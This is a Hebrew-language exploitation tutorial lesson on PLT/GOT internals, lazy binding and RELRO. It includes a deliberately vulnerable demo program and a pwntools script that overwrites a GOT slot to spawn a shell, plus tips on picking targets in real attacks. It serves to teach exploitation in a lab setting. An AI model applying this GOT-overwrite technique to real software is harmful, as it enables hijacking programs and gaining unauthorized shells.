4.1 GOT וPLT לעומק הרצאה
בפרק הקודם כתבנו shellcode והרצנו אותו על המחסנית, אבל בעולם האמיתי NX חוסם בדיוק את זה: המחסנית לא ניתנת להרצה, אז אין לאן להזריק קוד. מכאן ואילך נשחק אחרת - במקום להזריק קוד חדש נשתמש בקוד שכבר קיים בתוכנית ובספריות. הצעד הראשון לשם הוא להבין לעומק איך התוכנית שלכם בכלל קוראת לפונקציה מ-libc. כשאתם כותבים puts("hi"), מי בעצם מוצא את הכתובת של puts בזמן ריצה, ואיפה היא נשמרת? התשובה היא שתי טבלאות קטנות ומרתקות, PLT ו-GOT, ומי ששולט בהן שולט בזרימת ההרצה. בשיעור הזה נפרק אותן בורג-בורג, נעקוב אחרי הפתרון הדינמי ב-GDB, נבין מה RELRO עושה להן, ולמה דריסה של ערך אחד ב-GOT מספיקה כדי לחטוף קריאה עתידית ולפתוח shell. זה הבסיס ל-ret2libc שנבנה בשיעור הבא.
קישור דינמי - dynamic linking¶
כמעט כל בינארי שאתם תוקפים הוא דינמי: הוא לא מכיל בתוכו את הקוד של puts, printf או system, אלא טוען את libc בזמן ריצה ומשתמש בפונקציות משם. אפשר לראות את זה מיד:
$ file ./demo
./demo: ELF 64-bit LSB pie executable, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, ...
$ ldd ./demo
linux-vdso.so.1 (0x00007ffff7fce000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fd0000)
עכשיו הבעיה: בזמן הקומפילציה, המהדר לא יודע באיזו כתובת puts תשב בזמן ריצה. libc נטענת על ידי הטוען הדינמי (ld-linux), ועם ASLR היא נוחתת בכל הרצה בכתובת אחרת. אז המהדר לא יכול פשוט לכתוב call 0x7ffff7e5c420 בקוד. הוא צריך מנגנון עקיף: מקום קבוע בבינארי שבו בזמן ריצה תיכתב הכתובת האמיתית של הפונקציה, וקוד שיודע לקפוץ דרך המקום הזה. שני החלקים האלה הם בדיוק GOT ו-PLT.
הטבלאות - PLT וGOT¶
נתחיל מהחלוקה הבסיסית, וכדאי לזכור אותה בעל פה:
- טבלת ה-
GOT(Global Offset Table) יושבת בסקשן.got.plt. זו טבלת נתונים - מערך של מצביעים. בכל תא יש כתובת של פונקציה ב-libc. התא ניתן לכתיבה (זו הנקודה שתעניין אותנו כתוקפים). - טבלת ה-
PLT(Procedure Linkage Table) יושבת בסקשן.plt. זה קוד - קטעי stub קצרים שהמעבד מריץ. תא ה-PLT של פונקציה מבצע קפיצה עקיפה דרך תא ה-GOT המתאים.
הקוד שלכם אף פעם לא קורא ישירות ל-libc. הוא קורא ל-stub המקומי ב-PLT, וזה קופץ דרך ה-GOT ליעד האמיתי:
your code the PLT (code, r-x) the GOT (data, rw-) libc
+-------------+ +------------------+ +------------------+ +-----------+
| call |-----> | puts@plt: | | puts@got: | | puts: |
| puts@plt | | jmp *[puts@got]|----> | 0x7ffff7e5c420 |----> | ...code |
+-------------+ +------------------+ +------------------+ +-----------+
הקפיצה jmp *[puts@got] היא קפיצה עקיפה דרך זיכרון: המעבד קורא את הכתובת שכתובה בתא ה-GOT וקופץ אליה. ברגע שבתא ה-GOT יש את הכתובת הנכונה של puts, הקריאה עובדת. השאלה הגדולה היא: מי כותב את הכתובת הזו לתא, ומתי.
תא הקפיצה - PLT stub¶
בואו נסתכל על ה-PLT האמיתי בבינארי לא-PIE (קימפלנו עם -no-pie -fcf-protection=none כדי לקבל את המבנה הקלאסי הנקי):
$ objdump -d -j .plt ./demo
0000000000401020 <.plt>:
401020: ff 35 e2 2f 00 00 push QWORD PTR [rip+0x2fe2] # 404008 <_GLOBAL_OFFSET_TABLE_+0x8>
401026: ff 25 e4 2f 00 00 jmp QWORD PTR [rip+0x2fe4] # 404010 <_GLOBAL_OFFSET_TABLE_+0x10>
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmp QWORD PTR [rip+0x2fe2] # 404018 <puts@GLIBC_2.2.5>
401036: 68 00 00 00 00 push 0x0
40103b: e9 e0 ff ff ff jmp 401020 <.plt>
יש כאן שני חלקים. הראשון, .plt[0] (נקרא PLT0), הוא הכניסה המשותפת לכל הפונקציות - נחזור אליו. השני, puts@plt, הוא ה-stub הספציפי של puts, ומורכב משלוש הוראות:
jmp *[puts@got]- קופץ לכתובת שכתובה בתא ה-GOT שלputs(כאן0x404018).push 0x0- דוחף את אינדקס הרילוקיישן שלputs(כאן 0, כי זו הפונקציה הראשונה בטבלה).jmp 401020- קופץ ל-PLT0.
שימו לב שההוראה הראשונה היא קפיצה עקיפה, וכל הקסם תלוי במה שכתוב כרגע בתא ה-GOT. שתי ההוראות האחרות (push ו-jmp PLT0) הן "מסלול הפתרון" - הן ירוצו רק בפעם הראשונה, כמו שנראה עוד רגע.
הערה על בינארים מודרניים: אם תקמפלו בלי -fcf-protection=none, המהדר יוסיף סקשן .plt.sec עם הוראת endbr64 לפני הקפיצה העקיפה (הגנת CET). זה מוסיף עוד קפיצה אחת בדרך, אבל המנגנון של ה-GOT זהה לחלוטין. לצורך הלימוד נשאר עם המבנה הקלאסי.
מבנה ה-GOT לעומק¶
ה-GOT היא מערך מצביעים בסקשן .got.plt. שלושת התאים הראשונים שמורים ומיוחדים, והשאר הם תאי פונקציות:
.got.plt:
+----------------+------------------------------------------+
| GOT[0] 404000 | address of _DYNAMIC (dynamic info table) |
+----------------+------------------------------------------+
| GOT[1] 404008 | pointer to link_map (loader structure) | <-- filled at load time
+----------------+------------------------------------------+
| GOT[2] 404010 | address of _dl_runtime_resolve (resolver) | <-- filled at load time
+----------------+------------------------------------------+
| GOT[3] 404018 | slot for puts | <-- our functions
+----------------+------------------------------------------+
| GOT[4] 404020 | slot for system |
+----------------+------------------------------------------+
התאים GOT[1] ו-GOT[2] ממולאים על ידי הטוען הדינמי כבר בזמן הטעינה: GOT[1] מצביע על מבנה הנתונים של הספרייה, ו-GOT[2] מצביע על הפונקציה _dl_runtime_resolve - זה הפותר הדינמי, מי שיודע למצוא כתובות של סמלים. תזכרו את GOT[2], הוא היעד של הקפיצה ב-PLT0.
מה יש בתא של puts (GOT[3]) לפני הקריאה הראשונה? כאן הטריק היפה: הוא לא מצביע על libc. הוא מצביע בחזרה לתוך ה-PLT, בדיוק על הוראת ה-push 0x0 שראינו (כתובת 0x401036, כלומר puts@plt+6). אפשר לראות את זה מהרילוקיישנים:
$ readelf -r ./demo
Relocation section '.rela.plt' at offset 0x5c0 contains 2 entries:
Offset Info Type Sym. Value Sym. Name + Addend
0000000404018 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
0000000404020 000300000007 R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0
הטיפוס R_X86_64_JUMP_SLO (קיצור של JUMP_SLOT) הוא רילוקיישן של "תא קפיצה עצל". השדה Offset הוא הכתובת של תא ה-GOT (0x404018 עבור puts), והשדה Sym. Name הוא הסמל שצריך למצוא. הרשומה הזו היא בדיוק המידע שהפותר הדינמי יצטרך כשיגיע הזמן לפתור את puts.
פתרון עצל - lazy binding¶
עכשיו נחבר את הכל. ברירת המחדל של הטוען היא פתרון עצל (lazy binding): לא לפתור את הכתובת של פונקציה עד הקריאה הראשונה אליה. למה עצל? כי תוכנית עשויה לקשר עשרות פונקציות ולקרוא בפועל רק לחלקן, ופתרון כל הסמלים בהתחלה מבזבז זמן טעינה. אז הפתרון קורה בקריאה הראשונה בלבד, ומאותו רגע התא ב-GOT כבר מצביע ישר על libc.
בואו נראה מה קורה בקריאה הראשונה ל-puts:
first call to puts:
call puts@plt
|
v
puts@plt: jmp *[puts@got] the slot points back to puts@plt+6
| (not resolved yet)
v
puts@plt+6: push 0x0 pushes the relocation index (0 = puts)
jmp PLT0
|
v
PLT0: push [GOT[1]] pushes link_map
jmp *[GOT[2]] jumps to _dl_runtime_resolve
|
v
_dl_runtime_resolve(link_map, 0)
| looks up puts in libc's symbol table
| writes the real address into puts@got (0x404018) <=== the resolving moment
v
jumps to the real puts in libc, which prints and returns to your code
הצעד הקריטי מודגש: _dl_runtime_resolve (דרך הפונקציה הפנימית _dl_fixup) מוצא את הכתובת של puts ב-libc, מתקן את תא ה-GOT כך שיצביע ישירות ל-libc, ורק אז מעביר את השליטה ל-puts. התיקון הזה קורה פעם אחת.
מה קורה בקריאה השנייה?
second call to puts:
call puts@plt
|
v
puts@plt: jmp *[puts@got] the slot already points to libc!
|
v
the real puts in libc direct, no resolver
הפעם jmp *[puts@got] קופץ ישירות ל-libc. שתי ההוראות push/jmp PLT0 לא רצות בכלל. זה כל הרעיון של lazy binding: מחיר הפתרון משולם פעם אחת, ואז כל קריאה היא קפיצה עקיפה בודדת.
מהצד שלנו כתוקפים, המסקנה עצומה: תא ה-GOT הוא מצביע פונקציה שניתן לכתיבה, שהתוכנית קופצת דרכו בכל קריאה. אם נצליח לכתוב לתא הזה, אנחנו שולטים לאן הקריאה הבאה תלך.
מעקב ב-GDB אחרי פתרון PLT/GOT¶
בואו נראה את הפתרון קורה בזמן אמת. הבינארי לדוגמה:
// demo.c
#include <stdio.h>
int main() {
puts("first call"); // first call - triggers the resolver
puts("second call"); // second call - direct
return 0;
}
עכשיו ב-GDB עם pwndbg. קודם מוצאים את כתובת תא ה-GOT של puts:
pwndbg> disassemble main
0x0000000000401136 <+0>: push rbp
...
0x000000000040114a <+20>: call 0x401030 <puts@plt>
...
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 2
[0x404018] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6)
[0x404020] system@GLIBC_2.2.5 -> 0x401046 (system@plt+6)
שימו לב: לפני שהרצנו משהו, puts@got (בכתובת 0x404018) מצביע על 0x401036 - כלומר puts@plt+6, בדיוק הוראת ה-push שדיברנו עליה. זה המצב "לא נפתר".
נשים breakpoint על הקריאה הראשונה, ונבדוק את התא לפני ואחרי:
pwndbg> break *main+20
pwndbg> run
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>: 0x0000000000401036 <-- still puts@plt+6
pwndbg> stepi # enter puts@plt
pwndbg> stepi # jmp through the GOT -> back to push; then to PLT0 and the resolver
pwndbg> finish # let the resolver finish and print "first call"
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>: 0x00007ffff7e5c420 <-- now a libc address!
התא השתנה מ-0x401036 (בתוך ה-PLT) ל-0x7ffff7e5c420 (בתוך libc). זה בדיוק רגע הפתיחה - הפותר הדינמי כתב את הכתובת האמיתית. אפשר לאמת שזו באמת puts:
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>: 0x00007ffff7e5c420
pwndbg> p puts
$1 = {int (const char *)} 0x7ffff7e5c420 <puts>
מרגע זה, הקריאה השנייה ל-puts תקפוץ ישירות ל-0x7ffff7e5c420 בלי לגעת בפותר. עכשיו יש לנו את התובנה המרכזית לתוקף: 0x404018 הוא מצביע פונקציה שהתוכנית קופצת דרכו בכל קריאה ל-puts. אם נחליף את הערך הזה, נשנה לאן הקריאה תלך.
הגנת RELRO - חלקי מול מלא¶
אם תא ה-GOT ניתן לכתיבה וזו נקודת תורפה, למה שלא פשוט נמנע כתיבה אליו? זה בדיוק מה ש-RELRO (Relocation Read-Only) עושה. יש שלושה מצבים.
המצב No RELRO - אין הגנה בכלל, כל ה-GOT ועוד סקשנים רגישים (.init_array, .dynamic) ניתנים לכתיבה. נדיר היום.
המצב Partial RELRO (ברירת המחדל ברוב ההפצות). הטוען מסמן חלק מהסקשנים הרגישים כקריאה-בלבד אחרי הטעינה, אבל .got.plt נשאר ניתן לכתיבה. למה? כי lazy binding חייב לכתוב לתאים בזמן ריצה, כפי שראינו. אז הסקשן .got (עבור משתני נתונים) מוגן, אבל הסקשן .got.plt (עם מצביעי הפונקציות שלנו) פתוח לכתיבה. זה המצב שבו דריסת GOT עובדת.
המצב Full RELRO (-z relro -z now). הטוען מבצע פתרון מוקדם (eager / BIND_NOW): כל הכתובות נפתרות כבר בזמן הטעינה, לא בעצלות. אחרי הטעינה, כל ה-GOT, כולל .got.plt, מסומן קריאה-בלבד. אין lazy binding, ואין לאן לכתוב. דריסת GOT פשוט לא אפשרית - כתיבה לתא תגרום ל-SIGSEGV.
איך בודקים? הכי מהר עם checksec:
לעומת בינארי שקומפל עם -z now:
$ gcc -no-pie -z now -o demo_full demo.c
$ checksec --file=./demo_full
RELRO STACK CANARY NX PIE
Full RELRO No canary NX enabled No PIE
ואפשר לראות את ההבדל גם ברמת ה-ELF. הדגל BIND_NOW מופיע רק ב-Full RELRO:
$ readelf -d ./demo_full | grep -i -E 'bind|flags'
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW
$ readelf -d ./demo | grep -i -E 'bind|flags'
(no BIND_NOW - this is Partial RELRO)
ולבסוף, מי שרוצה לראות אילו כתובות באמת ניתנות לכתיבה בזמן ריצה - vmmap ב-pwndbg מראה את ההרשאות של הדף שמכיל את ה-GOT. ב-Partial RELRO הדף של .got.plt יהיה rw-, ב-Full RELRO הוא r--.
דריסת ערך ב-GOT - GOT overwrite¶
עכשיו נחבר הכל למתקפה. הרעיון: אם יש לנו יכולת לכתוב לזיכרון (write-what-where), ותא ה-GOT ניתן לכתיבה (Partial RELRO), אז נכתוב לתוך תא ה-GOT של פונקציה שהתוכנית עתידה לקרוא לה, ונחליף את הכתובת שלה בכתובת שאנחנו בוחרים. הקריאה הבאה תלך ליעד שלנו.
בואו נדגים על בינארי שיש בו כתיבה שרירותית מפורשת, כדי לבודד את מנגנון ה-GOT מבלי לגרור עדיין libc leak (זה נושא של 4.4). שימו לב שהוספתי פונקציית win בתוך הבינארי:
// gotdemo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
system("/bin/sh"); // win deliberately does not call puts, we'll explain why
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
unsigned long addr, val;
puts("addr (hex):"); // puts is already resolved by this call
scanf("%lx", &addr);
puts("val (hex):");
scanf("%lx", &val);
*(unsigned long *)addr = val; // arbitrary write: what to-where
puts("bye"); // the call we'll hijack
return 0;
}
התוכנית מבקשת כתובת וערך, וכותבת את הערך לכתובת. זו יכולת ה-write-what-where שלנו. התוכנית לא PIE, אז הכתובת של win קבועה, ותא ה-GOT של puts בכתובת קבועה. התוכנית Partial RELRO, אז .got.plt ניתן לכתיבה. שתי ההנחות האלה הן מה שמאפשר את המתקפה.
התוכנית: נדרוס את puts@got עם הכתובת של win. שימו לב לרצף:
- הקריאות
puts("addr (hex):")ו-puts("val (hex):")כבר פתרו אתputs@gotלכתובת האמיתית ב-libc. - הכתיבה שלנו מחליפה את הערך הזה בכתובת של
win. - הקריאה הבאה,
puts("bye"), עוברת ב-PLT:jmp *[puts@got]- וכעת התא מצביע עלwin. במקום להדפיס "bye", התוכנית קופצת ל-win, ש-מריצהsystem("/bin/sh").
before the overwrite: after the overwrite:
+---------------------------+ +---------------------------+
| puts@got -> libc puts | | puts@got -> win |
+---------------------------+ +---------------------------+
| |
puts("bye") prints "bye" puts("bye") runs win() -> shell
חשוב: בחרנו ש-win לא תקרא ל-puts בעצמה, אלא ישר ל-system. אם win הייתה קוראת ל-puts, הקריאה הזו הייתה עוברת שוב דרך puts@got שכבר דרסנו - ונקפוץ בחזרה ל-win בלולאה אינסופית. system הוא תא GOT נפרד שלא נגענו בו, אז הוא נפתר כרגיל.
וה-exploit ב-pwntools. הספרייה יודעת לתת לנו את כתובת ה-GOT ואת כתובת ה-win ישירות מה-ELF:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./gotdemo')
p = process('./gotdemo')
puts_got = elf.got['puts'] # address of puts's GOT slot (e.g. 0x404018)
win = elf.symbols['win'] # address of win in the binary (fixed, since No PIE)
log.info(f'puts@got = {hex(puts_got)}')
log.info(f'win = {hex(win)}')
p.recvuntil(b'addr (hex):')
p.sendline(hex(puts_got).encode()) # scanf("%lx") accepts a 0x prefix
p.recvuntil(b'val (hex):')
p.sendline(hex(win).encode())
p.interactive() # puts("bye") -> win() -> shell
בעולם האמיתי, יכולת ה-write-what-where מגיעה בדרך כלל מחולשת format string עם %n (פרק 5) או מoverflow לתוך מבנה עם מצביע פונקציה. אבל המנגנון זהה: מצאתם כתיבה שרירותית, כתבתם לתא GOT, וחטפתם את הקריאה הבאה.
תנאים ומגבלות¶
לפני שתרוצו ליישם, כדאי לדעת מתי זה עובד ומתי לא:
- במצב Full RELRO המתקפה נעצרת לגמרי. ה-GOT קריאה-בלבד, כל ניסיון כתיבה יקרוס. אם
checksecמראה Full RELRO, שכחו מדריסת GOT ותחפשו מטרות אחרות (מצביעים ב-heap,__malloc_hookבגרסאות ישנות, וכו'). - כשהבינארי PIE, צריך דליפת כתובת. כתובת ה-GOT וכתובת
win/libc אקראיות בכל הרצה, אז צריך קודם לדלוף כתובת כדי לחשב אותן (נלמד ב-4.4). בדוגמה שלנו כיבינו PIE בכוונה כדי לבודד את הרעיון. - צריך יכולת כתיבה. דריסת GOT היא לא חולשה בפני עצמה - היא מה שעושים עם חולשת כתיבה שכבר יש. הoverflow או ה-format string הם מקור היכולת.
- מה כותבים לתא. בדוגמה כתבנו כתובת פנימית (
win). במתקפה אמיתית לרוב כותבים כתובת שלsystemב-libc (ומכינים ש-/bin/shיעבור כארגומנט), או כתובת שלone_gadget(פרק 4.5). לשם צריך לדעת את בסיס libc, כלומר leak. - איזה תא לבחור. תבחרו תא של פונקציה שהתוכנית תקרא לה שוב אחרי הדריסה, ורצוי עם ארגומנט שאתם שולטים בו.
puts/printf/free/atoiהם קלאסיקות, כי הארגומנט שלהם הוא לרוב קלט מהמשתמש.
סיכום¶
- קישור דינמי אומר שהכתובת של פונקציית libc לא ידועה בזמן קומפילציה, ולכן קוראים לה בעקיפין דרך שתי טבלאות.
- ה-
PLTהוא קוד (stub-ים) שמבצע קפיצה עקיפה דרך ה-GOT; ה-GOTהוא נתונים - מערך מצביעי פונקציות ניתן לכתיבה. - בפתרון עצל (lazy binding), הקריאה הראשונה עוברת דרך
_dl_runtime_resolve, שמוצא את הכתובת ומתקן את תא ה-GOT. כל קריאה הבאה קופצת ישירות מהתא ל-libc. - שלושת התאים הראשונים ב-GOT שמורים:
_DYNAMIC,link_map, ו-_dl_runtime_resolve. שאר התאים הם הפונקציות שלכם, ומתחילים בהצבעה בחזרה לתוך ה-PLT. - הגנת
RELRO: מצב Partial משאיר את.got.pltניתן לכתיבה (דריסת GOT עובדת), מצב Full מבצע BIND_NOW ומסמן את כל ה-GOT קריאה-בלבד (דריסת GOT נכשלת). - דריסת תא GOT הופכת כל קריאה עתידית לאותה פונקציה לקפיצה ליעד שלכם. עם Partial RELRO, לא-PIE, ויכולת כתיבה - זה מוביל ישר ל-shell.
- הכלים:
checksecל-RELRO,readelf -rלרילוקיישנים,readelf -dל-BIND_NOW,objdump -d -j .plt, ו-gdb/pwndbg (got,x/gx,vmmap) למעקב.